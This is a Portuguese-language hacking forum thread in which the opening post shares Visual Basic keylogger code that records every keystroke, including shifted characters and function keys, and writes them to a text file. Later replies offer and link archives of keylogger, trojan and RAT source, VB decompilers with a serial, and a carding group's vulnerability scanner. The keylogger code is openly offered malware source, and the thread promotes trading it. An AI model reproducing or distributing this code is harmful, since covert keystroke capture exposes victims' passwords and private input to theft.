Keylogger

Started by branco, 19 de October , 2006, 07:18:57 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Print
Go Down Pages1 2
User actions

branco

19 de October , 2006, 07:18:57 PM Last Edit: 19 de October , 2006, 07:21:08 PM by ÐarkSpawn
como essa parte é a mais enjuada que existe quando construimos um kl, vou compartilhar o meu com vcs, que pega todas as teclas e nao contem bugs. ( pelomenos no meu teclado )

Code Select
Public Function teste()
Dim keys(0 To 255) As Byte
GetKeyboardState keys(0)
Dim ShiftState As Boolean
Dim CapsLockState As Boolean
Dim NumLockState As Boolean
ShiftState = GetAsyncKeyState(vbKeyShift)
NumLockState = keys(VK_NUMLOCK)
CapsLockState = keys(VK_CAPITAL)

If GetAsyncKeyState(vbKeyA) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "A"
End If
If GetAsyncKeyState(vbKeyA) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "A"
End If
If GetAsyncKeyState(vbKeyA) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "a"
End If
If GetAsyncKeyState(vbKeyA) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "a"
End If

If GetAsyncKeyState(vbKeyB) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "B"
End If
If GetAsyncKeyState(vbKeyB) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "B"
End If
If GetAsyncKeyState(vbKeyB) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "b"
End If
If GetAsyncKeyState(vbKeyB) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "b"
End If

If GetAsyncKeyState(vbKeyC) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "C"
End If
If GetAsyncKeyState(vbKeyC) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "C"
End If
If GetAsyncKeyState(vbKeyC) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "c"
End If
If GetAsyncKeyState(vbKeyC) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "c"
End If


If GetAsyncKeyState(vbKeyD) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "D"
End If
If GetAsyncKeyState(vbKeyD) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "D"
End If
If GetAsyncKeyState(vbKeyD) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "d"
End If
If GetAsyncKeyState(vbKeyD) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "d"
End If

If GetAsyncKeyState(vbKeyE) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "E"
End If
If GetAsyncKeyState(vbKeyE) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "E"
End If
If GetAsyncKeyState(vbKeyE) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "e"
End If
If GetAsyncKeyState(vbKeyE) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "e"
End If

If GetAsyncKeyState(vbKeyF) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "F"
End If
If GetAsyncKeyState(vbKeyF) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "F"
End If
If GetAsyncKeyState(vbKeyF) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "f"
End If
If GetAsyncKeyState(vbKeyF) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "f"
End If

If GetAsyncKeyState(vbKeyG) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "G"
End If
If GetAsyncKeyState(vbKeyG) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "G"
End If
If GetAsyncKeyState(vbKeyG) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "g"
End If
If GetAsyncKeyState(vbKeyG) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "g"
End If

If GetAsyncKeyState(vbKeyH) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "H"
End If
If GetAsyncKeyState(vbKeyH) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "H"
End If
If GetAsyncKeyState(vbKeyH) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "h"
End If
If GetAsyncKeyState(vbKeyH) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "h"
End If

If GetAsyncKeyState(vbKeyI) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "I"
End If
If GetAsyncKeyState(vbKeyI) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "I"
End If
If GetAsyncKeyState(vbKeyI) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "i"
End If
If GetAsyncKeyState(vbKeyI) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "i"
End If

If GetAsyncKeyState(vbKeyJ) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "J"
End If
If GetAsyncKeyState(vbKeyJ) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "J"
End If
If GetAsyncKeyState(vbKeyJ) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "j"
End If
If GetAsyncKeyState(vbKeyJ) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "j"
End If

If GetAsyncKeyState(vbKeyK) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "K"
End If
If GetAsyncKeyState(vbKeyK) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "K"
End If
If GetAsyncKeyState(vbKeyK) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "k"
End If
If GetAsyncKeyState(vbKeyK) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "k"
End If

If GetAsyncKeyState(vbKeyL) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "L"
End If
If GetAsyncKeyState(vbKeyL) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "L"
End If
If GetAsyncKeyState(vbKeyL) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "l"
End If
If GetAsyncKeyState(vbKeyL) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "l"
End If

If GetAsyncKeyState(vbKeyM) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "M"
End If
If GetAsyncKeyState(vbKeyM) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "M"
End If
If GetAsyncKeyState(vbKeyM) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "m"
End If
If GetAsyncKeyState(vbKeyM) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "m"
End If

If GetAsyncKeyState(vbKeyN) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "N"
End If
If GetAsyncKeyState(vbKeyN) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "N"
End If
If GetAsyncKeyState(vbKeyN) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "n"
End If
If GetAsyncKeyState(vbKeyN) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "n"
End If

If GetAsyncKeyState(vbKeyO) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "O"
End If
If GetAsyncKeyState(vbKeyO) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "O"
End If
If GetAsyncKeyState(vbKeyO) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "o"
End If
If GetAsyncKeyState(vbKeyO) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "o"
End If

If GetAsyncKeyState(vbKeyP) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "P"
End If
If GetAsyncKeyState(vbKeyP) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "P"
End If
If GetAsyncKeyState(vbKeyP) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "p"
End If
If GetAsyncKeyState(vbKeyP) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "p"
End If

If GetAsyncKeyState(vbKeyQ) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "Q"
End If
If GetAsyncKeyState(vbKeyQ) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "Q"
End If
If GetAsyncKeyState(vbKeyQ) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "q"
End If
If GetAsyncKeyState(vbKeyQ) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "q"
End If

If GetAsyncKeyState(vbKeyR) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "R"
End If
If GetAsyncKeyState(vbKeyR) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "R"
End If
If GetAsyncKeyState(vbKeyR) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "r"
End If
If GetAsyncKeyState(vbKeyR) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "r"
End If

If GetAsyncKeyState(vbKeyS) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "S"
End If
If GetAsyncKeyState(vbKeyS) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "S"
End If
If GetAsyncKeyState(vbKeyS) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "s"
End If
If GetAsyncKeyState(vbKeyS) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "s"
End If

If GetAsyncKeyState(vbKeyT) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "T"
End If
If GetAsyncKeyState(vbKeyT) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "T"
End If
If GetAsyncKeyState(vbKeyT) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "t"
End If
If GetAsyncKeyState(vbKeyT) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "t"
End If

If GetAsyncKeyState(vbKeyU) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "U"
End If
If GetAsyncKeyState(vbKeyU) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "U"
End If
If GetAsyncKeyState(vbKeyU) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "u"
End If
If GetAsyncKeyState(vbKeyU) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "u"
End If

If GetAsyncKeyState(vbKeyV) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "V"
End If
If GetAsyncKeyState(vbKeyV) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "V"
End If
If GetAsyncKeyState(vbKeyV) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "v"
End If
If GetAsyncKeyState(vbKeyV) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "v"
End If

If GetAsyncKeyState(vbKeyX) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "X"
End If
If GetAsyncKeyState(vbKeyX) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "X"
End If
If GetAsyncKeyState(vbKeyX) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "x"
End If
If GetAsyncKeyState(vbKeyX) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "x"
End If

If GetAsyncKeyState(vbKeyY) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "Y"
End If
If GetAsyncKeyState(vbKeyY) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "Y"
End If
If GetAsyncKeyState(vbKeyY) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "y"
End If
If GetAsyncKeyState(vbKeyY) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "y"
End If

If GetAsyncKeyState(vbKeyZ) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "Z"
End If
If GetAsyncKeyState(vbKeyZ) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "Z"
End If
If GetAsyncKeyState(vbKeyZ) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "z"
End If
If GetAsyncKeyState(vbKeyZ) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "z"
End If

If GetAsyncKeyState(vbKeyW) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "W"
End If
If GetAsyncKeyState(vbKeyW) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "W"
End If
If GetAsyncKeyState(vbKeyW) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "w"
End If
If GetAsyncKeyState(vbKeyW) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "w"
End If



If GetAsyncKeyState(vbKey1) And ShiftState = True Then
Text1.Text = Text1.Text + "!"
End If
If GetAsyncKeyState(vbKey1) And ShiftState = False Then
Text1.Text = Text1.Text + "1"
End If

If GetAsyncKeyState(vbKey2) And ShiftState = True Then
Text1.Text = Text1.Text + "@"
End If
If GetAsyncKeyState(vbKey2) And ShiftState = False Then
Text1.Text = Text1.Text + "2"
End If

If GetAsyncKeyState(vbKey3) And ShiftState = True Then
Text1.Text = Text1.Text + "#"
End If
If GetAsyncKeyState(vbKey3) And ShiftState = False Then
Text1.Text = Text1.Text + "3"
End If

If GetAsyncKeyState(vbKey4) And ShiftState = True Then
Text1.Text = Text1.Text + "$"
End If
If GetAsyncKeyState(vbKey4) And ShiftState = False Then
Text1.Text = Text1.Text + "4"
End If

If GetAsyncKeyState(vbKey5) And ShiftState = True Then
Text1.Text = Text1.Text + "%"
End If
If GetAsyncKeyState(vbKey5) And ShiftState = False Then
Text1.Text = Text1.Text + "5"
End If

If GetAsyncKeyState(vbKey6) And ShiftState = True Then
Text1.Text = Text1.Text + "¨"
End If
If GetAsyncKeyState(vbKey6) And ShiftState = False Then
Text1.Text = Text1.Text + "6"
End If

If GetAsyncKeyState(vbKey7) And ShiftState = True Then
Text1.Text = Text1.Text + "&"
End If
If GetAsyncKeyState(vbKey7) And ShiftState = False Then
Text1.Text = Text1.Text + "7"
End If

If GetAsyncKeyState(vbKey8) And ShiftState = True Then
Text1.Text = Text1.Text + "*"
End If
If GetAsyncKeyState(vbKey8) And ShiftState = False Then
Text1.Text = Text1.Text + "8"
End If

If GetAsyncKeyState(vbKey9) And ShiftState = True Then
Text1.Text = Text1.Text + "("
End If
If GetAsyncKeyState(vbKey9) And ShiftState = False Then
Text1.Text = Text1.Text + "9"
End If

If GetAsyncKeyState(vbKey0) And ShiftState = True Then
Text1.Text = Text1.Text + ")"
End If
If GetAsyncKeyState(vbKey0) And ShiftState = False Then
Text1.Text = Text1.Text + "0"
End If

If GetAsyncKeyState(vbKeyBack) Then
Text1.Text = Text1.Text + "[Desmanchar]"
End If

If GetAsyncKeyState(vbKeyTab) Then
Text1.Text = Text1.Text + ""
End If


If GetAsyncKeyState(vbKeyReturn) Then
Text1.Text = Text1.Text + "[Enter]"
End If

If GetAsyncKeyState(vbKeyControl) Then
Text1.Text = Text1.Text + "[Ctrl]"
End If

If GetAsyncKeyState(vbKeyMenu) Then
Text1.Text = Text1.Text + "[Alt]"
End If

If GetAsyncKeyState(vbKeyPause) Then
Text1.Text = Text1.Text + "[Pause]"
End If

If GetAsyncKeyState(vbKeyEscape) Then
Text1.Text = Text1.Text + "[Esc]"
End If

If GetAsyncKeyState(vbKeySpace) Then
Text1.Text = Text1.Text + " "
End If

If GetAsyncKeyState(vbKeyEnd) Then
Text1.Text = Text1.Text + "[End]"
End If

If GetAsyncKeyState(vbKeyHome) Then
Text1.Text = Text1.Text + "[Home]"
End If

If GetAsyncKeyState(vbKeyLeft) Then
Text1.Text = Text1.Text + "[Left]"
End If

If GetAsyncKeyState(vbKeyRight) Then
Text1.Text = Text1.Text + "[Right]"
End If

If GetAsyncKeyState(vbKeyUp) Then
Text1.Text = Text1.Text + "[Up]"
End If

If GetAsyncKeyState(vbKeyDown) Then
Text1.Text = Text1.Text + "[Down]"
End If

If GetAsyncKeyState(vbKeyInsert) Then
Text1.Text = Text1.Text + "[Insert]"
End If

If GetAsyncKeyState(vbKeyDelete) Then
Text1.Text = Text1.Text + "[Del]"
End If

If GetAsyncKeyState(&HBA) And ShiftState = True Then
Text1.Text = Text1.Text + ":"
End If

If GetAsyncKeyState(&HBA) Then
Text1.Text = Text1.Text + ";"
End If

If GetAsyncKeyState(&HBB) And ShiftState = True Then
Text1.Text = Text1.Text + "+"
End If

If GetAsyncKeyState(&HBB) Then
Text1.Text = Text1.Text + "="
End If

If GetAsyncKeyState(&HBC) And ShiftState = True Then
Text1.Text = Text1.Text + "<"
End If

If GetAsyncKeyState(&HBC) Then
Text1.Text = Text1.Text + ","
End If

If GetAsyncKeyState(&HBD) And ShiftState = True Then
Text1.Text = Text1.Text + "_"
End If

If GetAsyncKeyState(&HBD) Then
Text1.Text = Text1.Text + "-"
End If

If GetAsyncKeyState(&HBE) And ShiftState = True Then
Text1.Text = Text1.Text + ">"
End If

If GetAsyncKeyState(&HBE) Then
Text1.Text = Text1.Text + "."
End If

If GetAsyncKeyState(&HBF) And ShiftState = True Then
Text1.Text = Text1.Text + ":"
End If

If GetAsyncKeyState(&HBF) Then
Text1.Text = Text1.Text + ";"
End If

If GetAsyncKeyState(&HDB) And ShiftState = True Then
Text1.Text = Text1.Text + "`"
End If

If GetAsyncKeyState(&HDB) Then
Text1.Text = Text1.Text + "´"
End If

If GetAsyncKeyState(&HDC) And ShiftState = True Then
Text1.Text = Text1.Text + "}"
End If

If GetAsyncKeyState(&HDC) Then
Text1.Text = Text1.Text + "]"
End If

If GetAsyncKeyState(&HDD) And ShiftState = True Then
Text1.Text = Text1.Text + "{"
End If

If GetAsyncKeyState(&HDD) Then
Text1.Text = Text1.Text + "["
End If

If GetAsyncKeyState(&HDE) And ShiftState = True Then
Text1.Text = Text1.Text + "^"
End If

If GetAsyncKeyState(&HDE) Then
Text1.Text = Text1.Text + "~"
End If

If GetAsyncKeyState(&HC0) And ShiftState = True Then
Text1.Text = Text1.Text + """"
End If

If GetAsyncKeyState(&HC0) Then
Text1.Text = Text1.Text + "'"
End If

If GetAsyncKeyState(vbKeyDivide) Then
Text1.Text = Text1.Text + "/"
End If

If GetAsyncKeyState(vbKeyAdd) Then
Text1.Text = Text1.Text + "+"
End If

If GetAsyncKeyState(vbKeySubtract) Then
Text1.Text = Text1.Text + "-"
End If

If GetAsyncKeyState(vbKeyDecimal) And NumLockState = True Then
Text1.Text = Text1.Text + ","
End If

If GetAsyncKeyState(vbKeyF1) And ShiftState = True Then
Text1.Text = Text1.Text + "[F1 com shift]"
End If

If GetAsyncKeyState(vbKeyF1) Then
Text1.Text = Text1.Text + "[F1]"
End If

If GetAsyncKeyState(vbKeyF2) And ShiftState = True Then
Text1.Text = Text1.Text + "[F2 com shift]"
End If

If GetAsyncKeyState(vbKeyF2) Then
Text1.Text = Text1.Text + "[F2]"
End If

If GetAsyncKeyState(vbKeyF3) And ShiftState = True Then
Text1.Text = Text1.Text + "[F3 com shift]"
End If

If GetAsyncKeyState(vbKeyF3) Then
Text1.Text = Text1.Text + "[F3]"
End If

If GetAsyncKeyState(vbKeyF4) And GetAsyncKeyState(vbKeyMenu) Then
Text1.Text = Text1.Text + "[F4 com alt]"
End If

If GetAsyncKeyState(vbKeyF4) And ShiftState = True Then
Text1.Text = Text1.Text + "[F4 com shift]"
End If

If GetAsyncKeyState(vbKeyF4) Then
Text1.Text = Text1.Text + "[F4]"
End If

If GetAsyncKeyState(vbKeyF5) And ShiftState = True Then
Text1.Text = Text1.Text + "[F5 com shift]"
End If

If GetAsyncKeyState(vbKeyF5) Then
Text1.Text = Text1.Text + "[F5]"
End If

If GetAsyncKeyState(vbKeyF6) And ShiftState = True Then
Text1.Text = Text1.Text + "[F6 com shift]"
End If

If GetAsyncKeyState(vbKeyF6) Then
Text1.Text = Text1.Text + "[F6]"
End If

If GetAsyncKeyState(vbKeyF7) And ShiftState = True Then
Text1.Text = Text1.Text + "[F7 com shift]"
End If

If GetAsyncKeyState(vbKeyF7) Then
Text1.Text = Text1.Text + "[F7]"
End If

If GetAsyncKeyState(vbKeyF8) And ShiftState = True Then
Text1.Text = Text1.Text + "[F8 com shift]"
End If

If GetAsyncKeyState(vbKeyF8) Then
Text1.Text = Text1.Text + "[F8]"
End If

If GetAsyncKeyState(vbKeyF9) And ShiftState = True Then
Text1.Text = Text1.Text + "[F9 com shift]"
End If

If GetAsyncKeyState(vbKeyF9) Then
Text1.Text = Text1.Text + "[F9]"
End If

If GetAsyncKeyState(vbKeyF10) And ShiftState = True Then
Text1.Text = Text1.Text + "[F10 com shift]"
End If

If GetAsyncKeyState(vbKeyF10) Then
Text1.Text = Text1.Text + "[F10]"
End If

If GetAsyncKeyState(vbKeyF11) And ShiftState = True Then
Text1.Text = Text1.Text + "[F11 com shift]"
End If

If GetAsyncKeyState(vbKeyF11) Then
Text1.Text = Text1.Text + "[F11]"
End If

If GetAsyncKeyState(vbKeyF12) And ShiftState = True Then
Text1.Text = Text1.Text + "[F12 com shift]"
End If

If GetAsyncKeyState(vbKeyF12) Then
Text1.Text = Text1.Text + "[F12]"
End If

If GetAsyncKeyState(vbKeyNumlock) Then
Text1.Text = Text1.Text + "[Numlock]"
End If

If GetAsyncKeyState(vbKeyScrollLock) Then
Text1.Text = Text1.Text + "[ScrollLock]"
End If

If GetAsyncKeyState(vbKeyPrint) Then
Text1.Text = Text1.Text + "[PrintScreen]"
End If

If GetAsyncKeyState(vbKeyPageUp) Then
Text1.Text = Text1.Text + "[PageUp]"
End If

If GetAsyncKeyState(vbKeyPageDown) Then
Text1.Text = Text1.Text + "[PageDown]"
End If

If GetAsyncKeyState(vbKeySnapshot) Then
Text1.Text = Text1.Text + "[Snapshot]"
End If

If GetAsyncKeyState(vbKeyNumpad1) Then
Text1.Text = Text1.Text + "1"
End If

If GetAsyncKeyState(vbKeyNumpad2) Then
Text1.Text = Text1.Text + "2"
End If

If GetAsyncKeyState(vbKeyNumpad3) Then
Text1.Text = Text1.Text + "3"
End If

If GetAsyncKeyState(vbKeyNumpad4) Then
Text1.Text = Text1.Text + "4"
End If

If GetAsyncKeyState(vbKeyNumpad5) Then
Text1.Text = Text1.Text + "5"
End If

If GetAsyncKeyState(vbKeyNumpad6) Then
Text1.Text = Text1.Text + "6"
End If

If GetAsyncKeyState(vbKeyNumpad7) Then
Text1.Text = Text1.Text + "7"
End If

If GetAsyncKeyState(vbKeyNumpad8) Then
Text1.Text = Text1.Text + "8"
End If

If GetAsyncKeyState(vbKeyNumpad9) Then
Text1.Text = Text1.Text + "9"
End If

If GetAsyncKeyState(vbKeyNumpad0) Then
Text1.Text = Text1.Text + "0"
End If

If GetAsyncKeyState(vbKeyMultiply) Then
Text1.Text = Text1.Text + "*"
End If

ARQ = FreeFile
Open "c:\teste.txt" For Output As #ARQ
Print #ARQ, Text1.Text
Close #ARQ
End Function

bom aproveito...t+
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

Anonymous

#1
31 de March , 2007, 09:52:17 PM
Brother, tenho cerca de 70MB de programas (source) de VB, contendo inclusive alguns keyloggers, rats etc...

Caso tenha(m) interesse me fala que hospedo. Abraços

Mental_Way

#2
01 de April , 2007, 07:39:43 AM
Hello c4x5,

Tenho interesse.... Por favor up estou precisando para estudo...

Desde já agradeço...
[RitualistaS GrouP]

"Aquele que sabe pouco rapidamente revela isto."

#phobia

#3
01 de April , 2007, 10:35:41 AM
Poxa c4x5... Também me interesso.
Se puder upar ficaria grato!

vlw!!!

Reeves

#4
02 de April , 2007, 07:10:13 PM
isso ae branco
thx so mutch.

   &

verdade c4x5 upa ai que seria de grande interesse...

e se alguem mais ae querer compartilhar surce malware
sintão-se a vontade
:DDDD


Abraços.
  °vº   NÃO USE DROGAS,
/(_)\  USE GNU/LINUX
^ ^

Anonymous

#5
02 de May , 2007, 01:28:04 PM
Peço desculpas. Acho que desmarquei a opção de receber um e-mail quando houver novas mensagens. Acabei não vendo a de vocês. Nesse extato momento estou upando um arquivo com 123MB de sources de keyloggers, trojans etc....

Assim que acabar. (Vai levar cerca de 2:00 horas) eu posto o link

a senha para descompactar é: hackerscenter

Qualquer dúvida meu e-mail é mailto:invasao_anonymous@yahoo.com">invasao_anonymous@yahoo.com

Abraços

Anonymous

#6
02 de May , 2007, 03:41:45 PM
Passado  horas a peste do servidor deu erro e não consegui enviar o arquivo. Pesquisei aqui no forue nosso brother já havia colocado o link aqui.

http://www.hackerscenter.com/downloads/ ... sp?id=1038


Qualquer duvida entrem em contato.

mailto:invasao_anonymous@yahoo.com">invasao_anonymous@yahoo.com

Abraços

Anonymous

#7
02 de May , 2007, 06:11:41 PM
Hum... to baixando aqui para dar uma olhada...

Obrigado c4x5, vai ser de grande ajuda para mim ^^

Reeves

#8
09 de May , 2007, 01:26:38 AM
valeu ae c4x5
vo da uma olhada!

;D
  °vº   NÃO USE DROGAS,
/(_)\  USE GNU/LINUX
^ ^

Anonymous

#9
09 de May , 2007, 04:37:21 PM
Encontrei alguns programas chamados por alguns de "Impossiveis" de realizar sua função.  São descompiladores de VB. Se os programas funcionam extamente como prometem eu não sei. (Ainda estou iniciando em VB, mas logo logo eu chego lá  :P O serial segue junto do arquivo.
 De repente alguém sabe usar ou conhece o programa e comenta aí)

http://rapidshare.com/files/30411404/VB ... l.rar.html

Anonymous

#10
09 de May , 2007, 04:41:55 PM
Esse decompilador FUNCIONA E É FREE.

http://rapidshare.com/files/30413931/VB ... e.zip.html

Anonymous

#11
09 de May , 2007, 04:50:02 PM
O programa usado na foto é um aplicativo feito em Visual Basic. Um scanner do Grupo Carding #ATH









Quem tive algo interessante posta aí par galera. Ajuda muito os neofitos. Abraços

Anonymous

#12
09 de May , 2007, 05:12:34 PM
Amigo "c4x5" se onde esta apagando de branco você tentou ocultar o nome você se esqueceu na barra de Status do Programa tem o nome la bem legivel basta dar um Zoom, "Carlos"

Exter

#13
09 de May , 2007, 08:11:38 PM
c4x5

o do ath

aquele scanner de vul em sql ?

alias

vlw pelo kl branco

Anonymous

#14
10 de May , 2007, 02:42:14 PM
Quote from: "killer.bat"Amigo "c4x5" se onde esta apagando de branco você tentou ocultar o nome você se esqueceu na barra de Status do Programa tem o nome la bem legivel basta dar um Zoom, "Carlos"


Obrigado pela dica !!! Agora quem não havia percebi, já percebeu   :P
Print
Go Up Pages1 2
User actions